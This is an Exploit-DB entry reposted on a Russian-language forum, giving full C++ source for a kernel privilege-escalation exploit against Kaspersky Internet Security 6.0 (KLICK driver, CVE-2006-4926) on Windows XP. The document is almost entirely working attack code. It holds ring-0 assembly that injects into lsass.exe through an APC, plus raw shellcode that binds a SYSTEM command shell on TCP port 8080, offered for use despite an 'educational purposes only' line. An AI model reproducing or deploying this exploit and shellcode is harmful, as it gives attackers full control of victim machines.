- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 2676
- Проверка EDB
-
- Пройдено
- Автор
- NANIKA
- Тип уязвимости
- LOCAL
- Платформа
- WINDOWS
- CVE
- cve-2006-4926
- Дата публикации
- 2006-10-29
C++:
////////////////////////////////////
///// AVP (Kaspersky)
////////////////////////////////////
//// FOR EDUCATIONAL PURPOSES ONLY
//// Kernel Privilege Escalation #2
//// Exploit
//// Rubén Santamarta
//// www.reversemode.com
//// 01/09/2006
////
////
////Modify by Nanika
////naninb[at]gmail.com
////nanika[at]chroot.org
////Exploit Get SYSTEM SHELL PORT 8080
////WindowsXP Version SP2+ Kaspersky Internet Security 6.0.0.303
////Do not Enable Hardware DEP
////Reference:
////http://hitcon.org/download/2005/Windows_Kernel_Shellcode_Exploit.pdf
////http://research.eeye.com/html/Papers/download/StepIntoTheRing.pdf
////http://www.security.org.sg/code/sdtrestore.html
////http://www.reversemode.com/
////
////
////
////I AM NOT Japanese :P
////§Æ±æ¯àµ¹¤@¨Ç¬ã¨sKernel Exploitªº¤H¦³¤@¨ÇÀ°§U
////¤À¨É¬O¦³¯qªº
////////////////////////////////////
#define sysenter __asm __emit 0x0f __asm __emit 0x34
#include <windows.h>
#include <stdio.h>
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
#define OBJ_CASE_INSENSITIVE 0x00000040L
#define PAGE_READONLY 0x02
#define PAGE_READWRITE 0x04
#define DEF_KERNEL_BASE 0x80400000L
#define SystemModuleInformation 11
#define PROT_MEMBASE 0x80000000
typedef LONG NTSTATUS;
typedef struct _SYSTEM_MODULE_INFORMATION
{
ULONG Reserved[2];
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT Unknown;
USHORT LoadCount;
USHORT ModuleNameOffset;
CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION;
NTSTATUS (WINAPI * _NtQuerySystemInformation)(UINT, PVOID, ULONG, PULONG);
HINSTANCE base;
DWORD *kbase;
int *ExAllocatePool;
int *KeInitializeApc;
int *KeInsertQueueApc;
int *ZwYieldExecution;
unsigned char code[] =
//USER MODE Shellcode bind port 8080
//470bytes
"\x90\x90\x90\x90\x90"
"\x83\xec\x34\x8b\xf4\xe8\x47\x01\x00\x00\x89\x06\xff\x36\x68\x8e"
"\x4e\x0e\xec\xe8\x61\x01\x00\x00\x89\x46\x08\xff\x36\x68\xad\xd9"
"\x05\xce\xe8\x52\x01\x00\x00\x89\x46\x0c\x68\x6c\x6c\x00\x00\x68"
"\x33\x32\x2e\x64\x68\x77\x73\x32\x5f\x54\xff\x56\x08\x89\x46\x04"
"\xff\x36\x68\x72\xfe\xb3\x16\xe8\x2d\x01\x00\x00\x89\x46\x10\xff"
"\x36\x68\x7e\xd8\xe2\x73\xe8\x1e\x01\x00\x00\x89\x46\x14\xff\x76"
"\x04\x68\xcb\xed\xfc\x3b\xe8\x0e\x01\x00\x00\x89\x46\x18\xff\x76"
"\x04\x68\xd9\x09\xf5\xad\xe8\xfe\x00\x00\x00\x89\x46\x1c\xff\x76"
"\x04\x68\xa4\x1a\x70\xc7\xe8\xee\x00\x00\x00\x89\x46\x20\xff\x76"
"\x04\x68\xa4\xad\x2e\xe9\xe8\xde\x00\x00\x00\x89\x46\x24\xff\x76"
"\x04\x68\xe5\x49\x86\x49\xe8\xce\x00\x00\x00\x89\x46\x28\xff\x76"
"\x04\x68\xe7\x79\xc6\x79\xe8\xbe\x00\x00\x00\x89\x46\x2c\x33\xff"
"\x81\xec\x90\x01\x00\x00\x54\x68\x01\x01\x00\x00\xff\x56\x18\x50"
"\x50\x50\x50\x40\x50\x40\x50\xff\x56\x1c\x8b\xd8\x57\x57\x68\x02"
"\x00\x1f\x90\x8b\xcc\x6a\x16\x51\x53\xff\x56\x20\x57\x53\xff\x56"
"\x24\x57\x51\x53\xff\x56\x28\x8b\xd0\x68\x65\x78\x65\x00\x68\x63"
"\x6d\x64\x2e\x89\x66\x30\x83\xec\x54\x8d\x3c\x24\x33\xc0\x33\xc9"
"\x83\xc1\x15\xab\xe2\xfd\xc6\x44\x24\x10\x44\xfe\x44\x24\x3d\x89"
"\x54\x24\x48\x89\x54\x24\x4c\x89\x54\x24\x50\x8d\x44\x24\x10\x54"
"\x50\x51\x51\x51\x6a\x01\x51\x51\xff\x76\x30\x51\xff\x56\x10\x8b"
"\xcc\x6a\xff\xff\x31\xff\x56\x0c\x8b\xc8\x57\xff\x56\x2c\xff\x56"
"\x14\x55\x56\x64\xa1\x30\x00\x00\x00\x85\xc0\x78\x0c\x8b\x40\x0c"
"\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09\x8b\x40\x34\x8b\xa8\xb8\x00"
"\x00\x00\x8b\xc5\x5e\x5d\xc2\x04\x00\x53\x55\x56\x57\x8b\x6c\x24"
"\x18\x8b\x45\x3c\x8b\x54\x05\x78\x03\xd5\x8b\x4a\x18\x8b\x5a\x20"
"\x03\xdd\xe3\x32\x49\x8b\x34\x8b\x03\xf5\x33\xff\xfc\x33\xc0\xac"
"\x3a\xc4\x74\x07\xc1\xcf\x0d\x03\xf8\xeb\xf2\x3b\x7c\x24\x14\x75"
"\xe1\x8b\x5a\x24\x03\xdd\x66\x8b\x0c\x4b\x8b\x5a\x1c\x03\xdd\x8b"
"\x04\x8b\x03\xc5\xeb\x02\x33\xc0\x8b\xd5\x5f\x5e\x5d\x5b\xc2\x04"
"\x00";
void Ring0Function()
{
/*
printf("----[RING0]----\n");
printf("Hello From Ring0!\n");
printf("----[RING0]----\n\n");
WinExec("cmd.exe",SW_SHOW);
*/
__asm
{
nop
nop
nop
nop
nop
nop
nop
nop
/*start here*/
mov eax,fs:[0x124]//TEB
mov esi,[eax+0x44]//EPROCESS
mov eax,esi
search:
mov eax,[eax+0x88] //activeprocess
sub eax,0x88
// cmp dword ptr[eax+0x84],0x444//EPROCESS_PID
cmp dword ptr[eax+0x174],'sasl'//FileName lsass.exe
jne search
// mov ebx,dword ptr[eax+0xc8]//system token
mov ebx,eax
lea esi,code//code
mov ecx,0x1d6// code = 0x1d6
mov dword ptr[edi],0xffdf0800//Kernel ffdf0000=user 7ffe0000
push edi
mov edi,[edi]
rep movsb
pop edi
mov ecx,dword ptr[ebx+0x190]
finddelay:
mov ecx,[ecx]
cmp byte ptr[ecx-0x1ff],0x5//1ff =ethread list - state 0x5=wait
jnz finddelay
sub ecx,0x22c
mov ebp,ecx
push 0x30//APC Object sizeof
push 0 //Nonpage
mov eax,ExAllocatePool//ExAllocatePool for APC Object
call eax//call ExAllocatePool
mov esi,eax
xor edx,edx
push edx//NULL
push 01//UserMode
// push dword ptr[edi]//user mode shellcode
mov eax,0x7ffe0800//user mode shellcode
push eax//User Mode routine
push edx//NULL
mov eax,ZwYieldExecution//0x804dd668//804dd237=kernel routine ret
push eax//Kernel Mode routine
push edx//NULL
push ebp//ETHREAD
push esi//APC object
mov eax,KeInitializeApc //initialize APC
call eax
xor ecx,ecx
xor edx,edx
xor eax,eax
push eax
push eax
push ebp//ETHREAD
push esi//APC Object
mov eax,KeInsertQueueApc
call eax
// test eax,eax
// jz recall
mov byte ptr[ebp+0x4a],0x1
/*
push 0x80000000
push 0
push 0
mov eax,0x804dd4b8
call eax
*/
/*
yeldloop:
mov eax,0x804df4d5
call eax
jmp yeldloop
*/
iretd
/*end here*/
int 3
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
}
exit(1);
//printf("WindowsXP Version :P\n\n");
}
BOOL getNativeAPIs(void)
{
HMODULE hntdll;
hntdll = GetModuleHandle("ntdll.dll");
*(FARPROC *)&_NtQuerySystemInformation =
GetProcAddress(hntdll, "ZwQuerySystemInformation");
if(_NtQuerySystemInformation)
{
return TRUE;
}
return FALSE;
}
DWORD getKernelBase(void)
{
HANDLE hHeap = GetProcessHeap();
NTSTATUS Status;
ULONG cbBuffer = 0x8000;
PVOID pBuffer = NULL;
DWORD retVal = DEF_KERNEL_BASE;
do
{
pBuffer = HeapAlloc(hHeap, 0, cbBuffer);
if (pBuffer == NULL)
return DEF_KERNEL_BASE;
Status = _NtQuerySystemInformation(SystemModuleInformation,
pBuffer, cbBuffer, NULL);
if(Status == STATUS_INFO_LENGTH_MISMATCH)
{
HeapFree(hHeap, 0, pBuffer);
cbBuffer *= 2;
}
else if(Status != STATUS_SUCCESS)
{
HeapFree(hHeap, 0, pBuffer);
return DEF_KERNEL_BASE;
}
}
while (Status == STATUS_INFO_LENGTH_MISMATCH);
DWORD numEntries = *((DWORD *)pBuffer);
SYSTEM_MODULE_INFORMATION *smi = (SYSTEM_MODULE_INFORMATION *)((char *)pBuffer + sizeof(DWORD));
for(DWORD i = 0; i < numEntries; i++)
{
if(strcmpi(smi->ImageName, "ntoskrnl.exe"))
{
printf("%.8X - %s\n", smi->Base, smi->ImageName);
retVal = (DWORD)(smi->Base);
break;
}
smi++;
}
HeapFree(hHeap, 0, pBuffer);
return retVal;
}
VOID ShowError()
{
LPVOID lpMsgBuf;
FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER| FORMAT_MESSAGE_FROM_SYSTEM,
NULL,
GetLastError(),
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPTSTR) &lpMsgBuf,
0,
NULL);
MessageBoxA(0,(LPTSTR)lpMsgBuf,"Error",0);
exit(1);
}
int main(int argc, char *argv[])
{
DWORD InBuff[1];
DWORD dwIOCTL,OutSize,InSize,junk;
HANDLE hDevice;
OSVERSIONINFO ov;
system("cls");
printf("#######################\n");
printf("## AVP Ring0 Exploit ##\n");
printf("#######################\n");
printf("Ruben Santamarta\nwww.reversemode.com\n\n");
printf("Modify by Nanika\n\n");
printf("naninb[at]gmail.com\n");
printf("www.chroot.org\n");
printf("WindowsXP Version SP2+ Kaspersky Internet Security 6.0.0.303 :P\n");
ov.dwOSVersionInfoSize = sizeof(ov);
GetVersionEx(&ov);
if(ov.dwMajorVersion != 5)
{
printf("Sorry, this version supports only WinXP.\n");
return 1;
}
if(ov.dwMinorVersion != 1)
{
printf("Sorry, this version supports only WinXP.\n");
return 1;
}
getNativeAPIs();
kbase=(unsigned long *)getKernelBase();
base=LoadLibrary("ntoskrnl.exe");
ExAllocatePool=(int *)GetProcAddress(base,"ExAllocatePool");
KeInitializeApc=(int *)GetProcAddress(base,"KeInitializeApc");
KeInsertQueueApc=(int *)GetProcAddress(base,"KeInsertQueueApc");
ZwYieldExecution=(int *)GetProcAddress(base,"ZwYieldExecution");
ExAllocatePool=(int *)((int *)ExAllocatePool - (int *)base+(int *)kbase);
KeInitializeApc=(int *)((int *)KeInitializeApc-(int *)base+(int *)kbase);
KeInsertQueueApc=(int *)((int *)KeInsertQueueApc-(int *)base+(int *)kbase);
ZwYieldExecution=(int *)((int *)ZwYieldExecution-(int *)base+(int *)kbase);
FreeLibrary(base);
hDevice = CreateFile("\\\\.\\KLICK",
0,
0,
NULL,
3,
0,
0);
//////////////////////
///// INFO
//////////////////////
if (hDevice == INVALID_HANDLE_VALUE) ShowError();
printf("[!] KLICK Device Handle [%x]\n",hDevice);
//////////////////////
///// BUFFERS
//////////////////////
InSize = 0x8;
InBuff[0] =(DWORD) Ring0Function; // Ring0 ShellCode Address
//////////////////////
///// IOCTL
//////////////////////
dwIOCTL = 0x80052110;
printf("[!] IOCTL [0x%x]\n\n",dwIOCTL);
printf("Exploit TEST!!!!!!!!!!\n\n");
printf("Telnet x.x.x.x 8080 get SYSTEM shell!!!!!!!! :P\n\n");
DeviceIoControl(hDevice,
dwIOCTL,
InBuff,0x8,
(LPVOID)NULL,0,
&junk,
NULL);
}
// milw0rm.com [2006-10-29]
- Источник
- www.exploit-db.com